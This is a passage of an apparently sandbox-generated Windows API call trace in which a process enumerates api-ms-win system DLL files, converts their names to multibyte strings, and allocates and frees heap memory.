(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.351] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.351] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0038.351] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x94c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.352] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x94c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.352] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x94c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0038.352] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.352] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.353] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x94c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.353] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.353] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.353] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.354] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x94c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.354] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x94c120, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.354] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.354] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.354] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x94c288, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.355] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x94c120, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.355] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.355] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.355] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0038.355] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x94c288, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0038.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.356] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e950 [0038.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c120 [0038.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0038.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0x94c288 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c120) returned 1 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94c288) returned 1 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e950) returned 1 [0038.356] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x94e8c8) returned 1 [0038.356] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.356] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x94e8c8 [0038.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c288, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.357] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb84ddeb0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb84ddeb0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="")) returned 1 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x94c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0038.357] FindNextFileW (in: hFindFile=0x2dfd68, lpFindFileData=0x119fca8 | out: lpFindFileData=0x119fca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3160, dwReserved0=0x2e5448, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="")) returned 1 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0038.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CRT-CONIO-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x94c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 